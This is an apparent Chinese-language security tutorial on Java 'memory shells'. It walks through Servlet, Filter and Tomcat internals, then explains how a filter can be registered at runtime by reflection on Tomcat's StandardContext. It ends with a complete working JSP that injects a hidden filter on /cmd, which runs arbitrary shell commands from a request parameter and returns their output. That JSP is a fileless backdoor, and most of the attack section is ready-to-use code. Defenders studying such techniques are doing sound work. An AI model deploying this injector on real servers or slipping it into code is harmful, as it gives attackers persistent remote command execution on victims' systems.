内存马简介
内存马通常指攻击者在获得一定代码执行能力后,将恶意逻辑动态注册到运行中的 Web 容器、框架或 JVM 运行时中,使其在不落地传统 WebShell 文件的情况下处理特定请求。多数内存马依赖当前进程生命周期,应用或容器重启后通常失效;但如果攻击者同时控制了持久化触发点,例如 JSP、定时任务、Agent、配置文件或启动脚本,则可能在重启后再次注入。
java web
Servlet
servlet本质上是一个java对象,接收客户端请求并处理然后返回响应
任务
1.接受请求数据:HttpServletRequest对象
1
| HttpServletRequest 是 Java Servlet API 中的一个接口,它用于封装客户端发送的 HTTP 请求。当客户端通过 HTTP 协议访问服务器时,请求中的所有信息,包括请求头、请求参数、路径信息等,都会被封装在 HttpServletRequest 对象中
|
2.处理数据:当 Servlet 收到请求时(在 service、doGet 或 doPost 方法里),先把客户端传来的参数拿到,然后调用业务层的方法去处理这些参数
3.返回响应:转发(forward)和重定向(redirect)
1 2
| forward是HttpServletRequest的方法,只有一次请求,共享requests参数 redirect是HttpServletResponse的方法,再发送一次请求,不共享requests参数
|
Filter
主要负责拦截请求,过滤响应和放行,拦截客户端的HttpServletRequest 和返回的HttpServletResponse
可以用多个Filter构成Filter链,执行顺序由 filter-mapping 在 web.xml 中的先后顺序决定
filter-mapping 还可以配置 dispatcher,决定 Filter 在什么类型的请求分发中生效。
1 2 3 4 5
| <filter-mapping> <filter-name>LoginFilter</filter-name> <url-pattern>/*</url-pattern> <dispatcher>REQUEST</dispatcher> </filter-mapping>
|
常见请求类型
1 2 3 4 5
| REQUEST 普通浏览器请求,默认值 FORWARD 服务器内部转发 INCLUDE 页面包含 ERROR 错误页面跳转 ASYNC 异步请求
|
url-mapping的三种匹配规则
1.匹配精确路由
1 2 3 4 5
| <filter-mapping> <filter-name>AdminFilter</filter-name> <url-pattern>/admin.htm</url-pattern> </filter-mapping 拦截/admin.htm路由
|
2.匹配路由的前缀
1 2 3 4 5
| <filter-mapping> <filter-name>AdminFilter</filter-name> <url-pattern>/admin/*</url-pattern> </filter-mapping 拦截/admin/a.htm等其他以/admin/开头的路由
|
3.匹配路由的后缀
1 2 3 4 5
| <filter-mapping> <filter-name>AdminFilter</filter-name> <url-pattern>*.htm</url-pattern> </filter-mapping 匹配.htm为后缀的路由
|
工作原理
有了 Filter 之后,请求不会直接进入 Servlet 的 service() 方法,而是先进入 Filter 链。容器会先调用 Filter.doFilter()。在 doFilter() 里面,如果调用了 FilterChain.doFilter(request, response),请求就会继续往后传递:后面可能是下一个 Filter,也可能是最终的 Servlet。如果没有调用 FilterChain.doFilter(),请求就会被当前 Filter 截断,Servlet 的 service() 方法就不会执行。因此,Filter 位于请求进入 Servlet 之前,能够拦截请求和响应,所以它常被用来实现鉴权、日志、编码处理等功能;从安全角度看,如果攻击者已经获得代码执行能力,也可能滥用动态注册 Filter 的机制来形成内存马。
listener
在javaweb中特定的事件源发生改变的时(如创建、销毁、属性改变等),监听器会收到通知并执行相应的回调方法
Tomcat
Tomcat 实际上可以理解为一个 Web 服务器加 Servlet 容器。浏览器发送来的 HTTP 请求不是由 Servlet 解析的,而是先由 Tomcat 的 Connector 解析,然后 Tomcat 将请求和响应封装成 HttpServletRequest 和 HttpServletResponse 这类对象,再交给后面的容器体系处理。
Servlet、Filter、Listener 是 Java Web 应用里的三大组件。Tomcat 负责根据 web.xml、注解或动态注册信息来创建、管理、调用和销毁这些组件。
Tomcat 的核心结构可以看成 Connector 和 Container。Connector 负责接收和解析网络请求,支持 HTTP/1.1、HTTP/2、AJP 等多种协议;Container 是容器体系的统称,Engine、Host、Context、Wrapper 都属于 Container。
从整体层级上看,一个 Tomcat 实例对应一个 Server,一个 Server 中可以包含多个 Service。每个 Service 通常包含多个 Connector 和一个 Engine。
以访问 http://www.example.com/demo/login 为例,Connector 接收到 HTTP 请求后,会解析请求并封装 Request 和 Response 对象,然后交给 Engine。Engine 根据请求头中的域名 www.example.com 选择对应的 Host。Host 表示虚拟主机,一个 Host 可以包含多个 Context。Context 表示一个 Web 应用,例如 /demo。Context 下面可以包含多个 Wrapper,Wrapper 是某个 Servlet 的包装对象。最终 Tomcat 根据 /login 找到对应的 Wrapper,再由 Wrapper 调用对应 Servlet 的 service() 方法处理请求。
内存马实现
Java内存马
Filter型
FilterChain是根据StandardContext里的filterConfigs 、filterDefs 和filterMaps生成的。修改这三个变量就能添加一个可以执行webshell的filter,这就是filter型内存马的注入过程。
Filter链的执行过程是filter.dofilter到filterchain.dofilter到下一个filter.dofilter或者到最后的servlet服务
在自定义的filter的dofilter方法下个断点
然后到了ApplicationFilterChain的doFilter方法
然后进入该类的internalDoFilter方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException { if (this.pos < this.n) { ApplicationFilterConfig filterConfig = this.filters[this.pos++];
try { Filter filter = filterConfig.getFilter(); if (request.isAsyncSupported() && !filterConfig.getFilterDef().getAsyncSupportedBoolean()) { request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE); }
if (Globals.IS_SECURITY_ENABLED) { Principal principal = ((HttpServletRequest)request).getUserPrincipal(); Object[] args = new Object[]{request, response, this}; SecurityUtil.doAsPrivilege("doFilter", filter, classType, args, principal); } else { filter.doFilter(request, response, this); }
|
n是filterchain中filter的总数,pos是当前是第几个filter,然后调用对应的filter的方法,这里我们进入的是WSFilter.class,是tomcat默认的filter,该类最后的 chain.dofilter又会回到ApplicationFilterChain的dofilter方法,然后进行下一轮的判断,没有filter就会调用servlet的service方法
先看FilterChain是怎么创建的,org.apache.catalina.core.ApplicationFilterFactory类的createFilterChain方法
1 2 3 4 5 6 7 8 9 10
| for(FilterMap filterMap : filterMaps) { if (matchDispatcher(filterMap, dispatcher) && FilterUtil.matchFiltersURL(filterMap, requestPath)) { ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName()); if (filterConfig == null) { log.warn(sm.getString("applicationFilterFactory.noFilterConfig", new Object[]{filterMap.getFilterName()})); } else { filterChain.addFilter(filterConfig); } } }
|
遍历filterMaps,根据url匹配使用的filter,然后用addFiter添加filter
ApplicationFilterChain的addFilter方法
这里就和上面的ApplicationFilterChain类获取filter对上了
进入context.findFilterConfig方法,看看filterConfig是怎么获得的
所以我们现在能确定的就是新注册Filter需要改filterMap和filterConfigs,在StandardContext类中
能看到filterStart方法向filterconfigs写入(name,filterConfig),filterConfig是根据FilterDef创建的。
事实上FilterDef是根据web.xml中的</filter>生成的,filterMap是根据</filter-mapping>生成的
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="https://jakarta.ee/xml/ns/jakartaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="https://jakarta.ee/xml/ns/jakartaee https://jakarta.ee/xml/ns/jakartaee/web-app_6_0.xsd" version="6.0"> <filter> <filter-name>filter1name</filter-name> <filter-class>org.example.demo2.filter1</filter-class> </filter> <filter-mapping> <filter-name>filter1name</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> </web-app>
|
构造filterConfig
1
| ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
|
进入findFilterConfig方法
1 2 3 4 5
| public FilterConfig findFilterConfig(String name) { synchronized(this.filterDefs) { return (FilterConfig)this.filterConfigs.get(name); } }
|
filterConfigs是Map类,可以直接put进去filterConfig
1
| private final Map<String, ApplicationFilterConfig> filterConfigs = new HashMap();
|
一个String类,一个ApplicationFilterConfig,看看ApplicationFilterConfig的构造函数
其中context是StandardContext,filterDef是**org.apache.tomcat.util.descriptor.web.FilterDef**
看到org.apache.catalina.core.ApplicationContext#addFilter,new FilterDef之后调用了setFilterName、setFilterClass和setFilter,
按照该方法的方式创建FilterDef
1 2 3 4 5 6 7
| //FilterDef创建 String a="filtername"; FilterDef filterDef=new FilterDef(); filterDef.setFilterName(a); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); standardContext.addFilterDef(filterDef);
|
然后filterDef和context作为参数去实例化ApplicationFilterConfig类,然后ApplicationFilterConfig和string作为参数实例化FilterConfig然后put
ApplicationFilterConfig的构造方法是包级私有,利用反射获取构造器,然后实例化,其中的context是standardContext,还需要该类的实例,就能构造FilterConfig
1 2 3 4
| Class <?>class1=Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor<?> cons1= class1.getDeclaredConstructor(Context.class, FilterDef.class); cons1.setAccessible(true); ApplicationFilterConfig applicationFilterConfig =cons1.newInstance(,filterDef);
|
在web应用里最好获取的是servletContext类,这个类到standardContext类有一条链
1 2 3 4 5 6 7
| request.getServletContext() ↓ ApplicationContextFacade ↓ ApplicationContext ↓ StandardContext
|
1
| ServletContext servletContext = getServletConfig().getServletContext(); //获取servletContext
|
ApplicationContextFacade类实现了ServletContext接口且有ApplicationContext字段,直接强转servletContext
1
| ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
|
ApplicationContextFacade 中保存 ApplicationContext 的 context 字段是 private,因此需要通过反射访问该字段。
1 2 3 4 5 6 7 8
| //获取ServletContext ServletContext servletContext = getServletConfig().getServletContext(); ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
//获取ApplicationContext Field f=applicationContextFacade.getClass().getDeclaredField("context"); f.setAccessible(true); ApplicationContext applicationContext=(ApplicationContext) f.get(applicationContextFacade);
|
同样的方法获取StandardContext类
1 2 3 4 5 6 7 8 9 10 11 12 13
| //获取servletContext类 ServletContext servletContext = getServletConfig().getServletContext(); ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
//获取ApplicationContext类 Field f = applicationContextFacade.getClass().getDeclaredField("context"); f.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) f.get(applicationContextFacade);
//获取StandardContext类 Field f2 = applicationContext.getClass().getDeclaredField("context"); f2.setAccessible(true); StandardContext standardContext = (StandardContext) f2.get(applicationContext);
|
然后最后把standardContext填入
1
| ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig)cons1.newInstance(standardContext,filterDef);
|
就得到了一个ApplicationFilterConfig类,然后将filterName和applicationFilterConfigput进FilterConfigs
构造FilterConfigs,同样反射获取,这是standardContext类的字段
1 2 3
| Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigs.setAccessible(true); HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
|
然后put进去
1
| hashMap.put(filterName,applicationFilterConfig);
|
构造filterMap
1
| ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
|
向上找filterMap,
1
| FilterMap[] filterMaps = context.findFilterMaps();
|
进入findFilterMaps方法
1 2 3
| public FilterMap[] findFilterMaps() { return this.filterMaps.asArray(); }
|
类中有该变量的定义
1
| private final ContextFilterMaps filterMaps = new ContextFilterMaps();
|
进入ContextFilterMaps类
这两个方法都能加filterMap
new了一个filterMap,addURLPattern,setFilterName,setDispatcher,addFilterMapBefore
1 2 3 4 5
| FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(filterName); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
|
或者
1 2 3 4 5 6 7
| Field filterMaps = stc.getClass().getDeclaredField("filterMaps"); filterMaps.setAccessible(true); Object fltmps = filterMaps.get(stc); Class filterMapsClass = fltmps.getClass(); Method filterMapsAdd = filterMapsClass.getDeclaredMethod("addBefore", FilterMap.class); filterMapsAdd.setAccessible(true); filterMapsAdd.invoke(fltmps, filterMap);
|
使用ContextFilterMaps的内部方法,推荐第一种
Filter内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="javax.servlet.ServletContext"%> <%@ page import="org.apache.catalina.Context" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.catalina.core.ApplicationContextFacade" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.HashMap" %> <%@ page import="java.io.IOException" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.io.InputStream" %> <html> <head> <title>Title</title> </head> <body>
<%
Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("filter success"); }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) request; if (req.getParameter("cmd") != null) { InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); return; } chain.doFilter(request, response); }
@Override public void destroy() { // Filter.super.destroy(); } };
ServletContext servletContext = getServletConfig().getServletContext(); ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext; Field f = applicationContextFacade.getClass().getDeclaredField("context"); f.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) f.get(applicationContextFacade); Field f2 = applicationContext.getClass().getDeclaredField("context"); f2.setAccessible(true); StandardContext standardContext = (StandardContext) f2.get(applicationContext);
//FilterDef创建 String a="filtername"; FilterDef filterDef=new FilterDef(); filterDef.setFilterName(a); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); standardContext.addFilterDef(filterDef);
//创建filterConfigs Class <?>class1=Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor<?> cons1= class1.getDeclaredConstructor(Context.class, FilterDef.class); cons1.setAccessible(true); ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig)cons1.newInstance(standardContext,filterDef);
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigs.setAccessible(true); HashMap hashMap = (HashMap) filterConfigs.get(standardContext); hashMap.put(a,applicationFilterConfig);
//filterMap创建 FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/cmd"); filterMap.setFilterName(a); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
%> </body> </html>
|